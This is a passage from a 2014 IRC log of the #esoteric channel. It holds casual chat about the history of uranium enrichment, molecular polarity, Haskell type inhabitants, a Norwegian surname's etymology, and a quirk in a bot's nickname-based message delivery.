248219 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :good luck w/ that < 1396070960 330282 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 268 seconds < 1396070982 65900 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i'd like to point out that the first artificial nuclear reactor was made of wood < 1396070996 156339 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :weekend project for dads, imo < 1396071090 378132 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :lol < 1396071097 693280 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :nuclear reactor hackathon < 1396071141 514288 :Sorella!~queen@oftn/member/Sorella QUIT :Quit: It is tiem! < 1396071195 156982 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you know i don't actually know how uranium is enriched. or what that means. is it just getting the radioactive isotope out of the ore < 1396071224 698758 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :pretty much < 1396071231 898177 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :there are lots of ways http://en.wikipedia.org/wiki/Enriched_uranium#Enrichment_methods < 1396071247 507453 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i just hear 'centrifuge' and i'm like oh those are easy < 1396071258 798192 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :they're pretty intense centrifuges < 1396071270 731306 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :gas centrifuge. oh. < 1396071295 208161 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :actually the method used at Oak Ridge during the war is pretty amusing / something < 1396071298 288354 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://upload.wikimedia.org/wikipedia/commons/d/d8/Diagram_of_uranium_isotope_separation_in_the_calutron.png < 1396071303 61008 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Calutron < 1396071338 808605 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :"Want of copper for the large coils to produce the magnetic fields prompted a solution possible only in wartime: Groves borrowed 14,700 short tons of pure silver from a government vault for the purpose; all was later returned, the last few tons in 1970." < 1396071354 752881 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric ::| < 1396071372 912969 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :the picture just looks like a spectrometer though. wikipedia agrees i guess < 1396071375 668836 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yes < 1396071388 852265 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :shoot uranium into the air w/ a magnetic field and pick up the bits that land in a certain place < 1396071423 481326 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :so uh, a really big spectrometer. < 1396071445 658323 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :also like the last paragraph here http://en.wikipedia.org/wiki/Calutron#Scaling_up_at_Oak_Ridge < 1396071471 740480 :Sellyme!~Sellyme@irc.sellyme.com QUIT :Excess Flood < 1396071477 550268 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :regular lab ultracentrifuges can get like two million g's though < 1396071479 582847 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :psycho equipment < 1396071482 270070 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :dang < 1396071501 853381 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/File:Ultracentrifuge.jpg the face of death < 1396071520 58404 :Sellyme!~Sellyme@199.127.227.147 JOIN :#esoteric < 1396071554 116428 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: conehead < 1396071676 777301 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :if you dumped uranium fluoride ore in one you would probably die though < 1396071720 212548 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :uranium and fluorine < 1396071724 348399 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :two great tastes that go great together < 1396071753 426055 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"Tetrauranium octadecafluoride" hell yeah < 1396071787 768192 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :Bike: that sounds very, very dangerous < 1396071814 218987 :coppro!raedford@taurine.csclub.uwaterloo.ca PRIVMSG #esoteric :like seriously. 18 fluorides? what the hell < 1396071847 629109 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :kinda doubt it < 1396071877 449025 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :fluorine isn't dangerous in compounds, that's the whole point < 1396071994 861977 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :depends on the compound < 1396072022 580909 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :and yes that sounds dangerous < 1396072041 256831 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :lots of fluorines per available electron density -> it's still hungry < 1396072070 709052 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :chlorinated hydrocarbons are fine, but this... < 1396072095 808476 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :(unrelated: fluorophilicity, what the fuck?) < 1396072126 550843 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://en.wikipedia.org/wiki/Uranium_hexafluoride uranium hex seems aight < 1396072130 766396 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :wonder if tsunamis explode it < 1396072144 208320 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :(why is it a thing that things will separate into a polar fraction, a nonpolar fraction, and a fluorinated fratction???) < 1396072167 829758 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :just to fuck w/you < 1396072169 878291 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :i don't even understand the first two -__- < 1396072179 562850 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :first two what < 1396072183 398498 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :highly toxic, reacts violently with water, corrosive to most metals < 1396072187 728155 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :why things separate into polar and nonpolar < 1396072193 758160 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :so yeah tsunamis probably explode it < 1396072196 328115 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I mean I kind of get it but probably would fail to explain it properl < 1396072199 53090 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yay splosions < 1396072199 239667 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :y < 1396072232 768847 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :polar things are attracted to each other more than nonpolar things are attracted to each other or polar and nonpolar are attracted, because they can reorient to have partial positives next to partial negatives < 1396072242 478190 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :so polar things stick together and push out the nonpolar < 1396072256 578263 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah < 1396072259 131824 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :just in case you were too used to opposites attracting < 1396072264 398674 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :right < 1396072267 648185 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I guess that is what I would have said before, < 1396072272 538316 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :but somehow it's vaguely unsatisfying < 1396072288 58155 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I guess because the saying is "like attracts like" but the nonpolar stuff here only ends up together by default < 1396072288 618001 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :fair enough < 1396072312 671648 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you t hink that's unsatisfying let me tell you about "determining" a compound's polarity by counting oxygens and shit < 1396072343 828153 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :wait who does that? that sounds like a stupid way to do it < 1396072354 432997 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :babby's first bio classes < 1396072359 418004 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric ::( :( < 1396072383 518872 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :though i guess in bio all the molecules are really big so they can kind of line up any way they want to and it's almost ok? < 1396072390 272444 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :yeah maybe < 1396072395 656593 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :inorganic chemistry is 'something i'm pretty bad at' < 1396072410 456795 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :not that i'm actually good at org but hey < 1396072411 927997 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :inorganic chemistry is fun! < 1396072418 344991 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :least i don't have to care about dipoles < 1396072420 242363 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :group theory and all that stuff < 1396072490 134295 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :ok yes. we did some basic chromatography with some chlorophylls. < 1396072500 558166 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :"To determine polarity, count the number of polar oxygens present in each molecule." < 1396072506 408557 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :wait doesn't ochem care about dipoles too? < 1396072523 978518 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :anyway, yeah, chlorophylls are huge and i doubt that's actually a terrible approximation even though it's icky < 1396072538 533030 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :http://dwb4.unl.edu/Chem/CHEM869E/CHEM869ELinks/www.uis.edu/7Etrammell/organic/introduction/polarity.htm hm hm < 1396072548 883696 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :douglass_: we also only cared about relative polarity so there's that < 1396072598 299841 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :oh hey a whole monograph "Dipole Moments in Organic Chemistry (Physical methods in organic chemistry) " < 1396072634 210812 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i just kind of talk a lot about things i don't know srry < 1396072657 628037 :douglass_!~iridium@home-on-the-dome.mit.edu PRIVMSG #esoteric :i don't mind < 1396072669 558370 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fungot: how do you determine polarity < 1396072669 838491 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :kmc: i suggest where the left fnord is in my class at all. thanks. :) but sure < 1396072677 102221 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :none pizza with left fnord < 1396072703 489399 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :i did think it was neat that chlorophylls are bloggy and beta carotene and xanthophyll have huge ass hydrocarbon chains < 1396072706 512628 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :blobby* < 1396072867 320381 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 264 seconds < 1396073257 860209 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1396074083 817972 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How do you count the number of inhabitants of (forall a. a -> a -> a)? < 1396074106 858382 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :The correct answer's two, right? (Pretending _|_ doesn't exist) < 1396074140 224278 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :you forgot about bill who has a summer home there < 1396074160 778240 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But... a -> (a -> a), a -> a has one inhabitant, 1 ^ 1 = 1... pretty sure the forall is confusing me < 1396074179 260813 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :that's not valid without the quantifier < 1396074189 268093 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :forall a. a -> a has one inhabitant < 1396074195 319729 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :but you shifted the quantifier out < 1396074275 558341 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :forall a. a -> a -> a ~~ forall a. (a, a) -> a ~~ forall a. (Bool -> a) -> a ~~ Bool < 1396074389 48105 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How does that middle step work, (a, a) being (Bool -> a)? < 1396074414 297949 :copumpkin!~copumpkin@unaffiliated/copumpkin PRIVMSG #esoteric :a * a = a^2 < 1396074481 299421 :ion!ion@heh.fi PRIVMSG #esoteric :@type let f (a,b) = \sel -> if sel then b else a; g foo = (foo False, foo True) in (f, g) < 1396074482 39322 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :((t, t) -> Bool -> t, (Bool -> t1) -> (t1, t1)) < 1396075828 172688 :Sellyme!~Sellyme@199.127.227.147 QUIT :Excess Flood < 1396075870 156846 :Sellyme!~Sellyme@irc.sellyme.com JOIN :#esoteric < 1396076314 118797 :chaiomanot!~chaiomano@72-161-30-182.dyn.centurytel.net QUIT :Ping timeout: 265 seconds < 1396076572 69737 :JesseH!~JesseH@oftn/member/JesseH QUIT :Read error: Connection reset by peer < 1396076601 400099 :JesseH!~JesseH@oftn/member/JesseH JOIN :#esoteric < 1396079431 309336 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Do you think SQL is a very good programming language for statistics/data analysis? < 1396079547 169100 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I think so. I also think that, when SQLite is used as a application file format and/or internal format, it allows you to have a embedded programming language for free. < 1396079547 415048 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :never been there < 1396079989 846818 :Sgeo_!~quassel@ool-44c2df0c.dyn.optonline.net JOIN :#esoteric < 1396080215 843806 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1396080238 280760 :Sprocklem!~Sprocklem@unaffiliated/sprocklem QUIT :Quit: Leaving < 1396081389 179739 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396081599 177256 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396081628 99151 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net JOIN :#esoteric < 1396081910 979387 :tromp_!~tromp@ool-4570a22a.dyn.optonline.net QUIT :Ping timeout: 265 seconds < 1396081918 349678 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric : kmc: For example, krogstad :( <-- did you know that google is entirely useless for finding out what americans mean by a word that is actually from your own, different, language? < 1396081928 766723 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :haha < 1396081940 503258 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's the surname of somebody we know < 1396081946 48368 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :what does it mean in your own, different language < 1396081952 909291 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :it's a surname < 1396081965 628362 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :i assumed you were talking about some company < 1396081999 348735 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(probably founded by a norwegian-american, but still impossible to google if it's not _very_ famous) < 1396082034 118456 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because there are all these _norwegian_ people and companies that google insists on putting first based on your location < 1396082059 508418 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :also, it's originally a placename < 1396082126 548631 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :except probably a small one, because it's impossible to google that, either. < 1396082157 418783 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :heh < 1396082197 468855 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :no:krok = en:hook, no:stad = en:place,town < 1396082216 528509 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and the k used to be g in earlier orthography (still is in danish) < 1396082236 921137 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :hm maybe they modernized that in the placename... < 1396082244 558505 :ion!ion@heh.fi PRIVMSG #esoteric :grog? < 1396082271 558606 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ion: krog -> krok < 1396082307 928681 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :because danish has this habit of softening final and intermediate consonants that were hard in norse, which norwegian doesn't < 1396082341 192038 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :at least not as much < 1396082543 958406 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :http://no.wikipedia.org/wiki/Krokstadelva exists, at least (and claims this krok is actually from a rare personal name) < 1396082611 968648 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :which, given the final r, was back in norse times < 1396082800 220881 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396083464 460294 :conehead!~conehead@unaffiliated/conehead QUIT :Remote host closed the connection < 1396083693 148829 :ket1v!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1396083708 817758 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1396086761 323058 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1396088076 420410 :shikhin!~Shikhin@120.59.236.206 JOIN :#esoteric < 1396088082 522548 :shikhin!~Shikhin@120.59.236.206 QUIT :Changing host < 1396088082 709922 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1396089151 939351 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Read error: Connection reset by peer < 1396089538 229420 :nooodl!~nooodl@91.177.77.176 JOIN :#esoteric < 1396089616 639348 :john_metcalf!~digital_w@175.134.90.146.dyn.plus.net JOIN :#esoteric < 1396089853 399095 :john_metcalf!~digital_w@175.134.90.146.dyn.plus.net QUIT :Client Quit < 1396090196 126949 :john_metcalf!~digital_w@175.134.90.146.dyn.plus.net JOIN :#esoteric < 1396090556 335015 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1396091536 386866 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1396091600 309574 :Phantom_Hoover!~Phantom@unaffiliated/phantom-hoover JOIN :#esoteric < 1396092846 350529 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Molten PLA smells nice < 1396094990 67767 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :printing 3d? < 1396094996 631140 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B < 1396095028 100836 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1396095032 191930 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :why? every time < 1396095032 378876 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:09:49] You have 1 new message. '/msg lambdabot @messages' to read it. < 1396095032 379077 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:09:59] @messages < 1396095032 379180 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:10:00] You don't have any messages < 1396095033 941442 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :printing or burning, what's the difference < 1396095058 420920 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: that's weird. < 1396095065 301078 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :2nd time now < 1396095082 260822 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@ask Zom-B What about now? < 1396095082 447461 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1396095104 420847 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i got your message < 1396095133 400813 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :int-e: you get right on it < 1396095177 541113 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i dont see any other @ask kere < 1396095179 691175 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: oh hm wait < 1396095194 341184 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you just changed your nick didn't you. < 1396095199 638621 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :yes < 1396095206 460892 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :change back and try again < 1396095208 51050 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :not the first time though < 1396095259 558126 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i got the messaage notify after i changed < 1396095269 380889 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B|zz < 1396095282 740896 :Zom-B|zz!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B|aw < 1396095305 201668 :Zom-B|aw!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl NICK :Zom-B < 1396095326 310736 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i got one other message to pop up, from 3d ago < 1396095334 581387 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :fancy < 1396095396 280899 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :there was another person on here with my nick for more than a day, before i managed to register it < 1396095407 321427 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :maybe he read my message < 1396095440 21879 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :even after i registered, he took my nick, before i ghosted his ass < 1396095488 421300 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :well that doesn't explain how he managed to get in between the minute you were notified and when you tried to read it < 1396095490 181118 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :some mof: 6Zom-B is ~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 * zom_b@gmx.de < 1396095528 840922 :oerjan|hm!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1396095550 591017 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :@ask oerjan|hm Are you ok? < 1396095550 778187 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Consider it noted. < 1396095556 561032 :oerjan|hm!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :ho hum < 1396095576 47806 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Huh, so targeting messages at nicknames is not secure. < 1396095600 71736 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :interesting. < 1396095600 671216 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :should target logins rather than nicks < 1396095613 221766 :oerjan|hm!oerjan@sprocket.nvg.ntnu.no PART :#esoteric < 1396095628 541449 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :the problem is then it couldn't be used with people who aren't logged in < 1396095661 771004 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :why have a messagebot at all whe you have /ms? < 1396095746 390957 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :tradition. < 1396095769 370841 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :/ms help < 1396095769 650924 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:21:51] -MemoServ- ***** MemoServ Help ***** < 1396095769 837589 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :[14-03-29 13:21:51] -MemoServ- MemoServ allows users to send memos to registered users. < 1396095769 837772 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :... < 1396095777 640726 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :registered users only < 1396095786 461187 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and memoserv tends to get lost in my status window. < 1396095836 801136 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :i once made a message bot by login name, but people didnt understand how to use it (they tried nicks) < 1396095850 271803 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :then i let it track all usernames which belong to logins, but that was a major PITA < 1396095856 720952 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :never worked well < 1396095874 990905 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :because people sometimes take each other's nick when the other is not online to troll people < 1396095895 600925 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :and one person can have different logins dependong on from wehere they connect < 1396095905 921252 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :you can get the information from /whois < 1396095912 237878 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :so the algorithm grouped multiple 'real' people together as being one < 1396095931 610769 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :the bor did /whois/ every time someone it itself connected < 1396096012 207424 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: you should track the entirel nick!user@host part i think < 1396096015 812141 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :*-l < 1396096031 731215 :Slereah!~jackal@117.168.90.79.rev.sfr.net PRIVMSG #esoteric :Oh my gosh it's ZOMBOCOM < 1396096044 651041 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :Zom-B: oh wait that's what you mean by login < 1396096052 428884 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :for example, if you take me, it would have thought 6~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl and 6~PartyArty@2a02:8108:240:970:24ae:27e1:b86:f411 were the same person < 1396096056 981508 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :freenode accounts are different again < 1396096069 640709 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :and you can find those with /whois as well < 1396096084 534991 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :(although you have to wait until they're finished registering) < 1396096159 231051 :Zom-B!~Zom-B@D97AAE09.cm-3-3c.dynamic.ziggo.nl PRIVMSG #esoteric :if i would do /nick oerjan|hm, then it would also group 6oerjan@sprocket.nvg.ntnu.no and think we're both the same person < 1396096188 779001 :oerjan!oerjan@sprocket.nvg.ntnu.no PRIVMSG #esoteric :yeah without proper registrations you 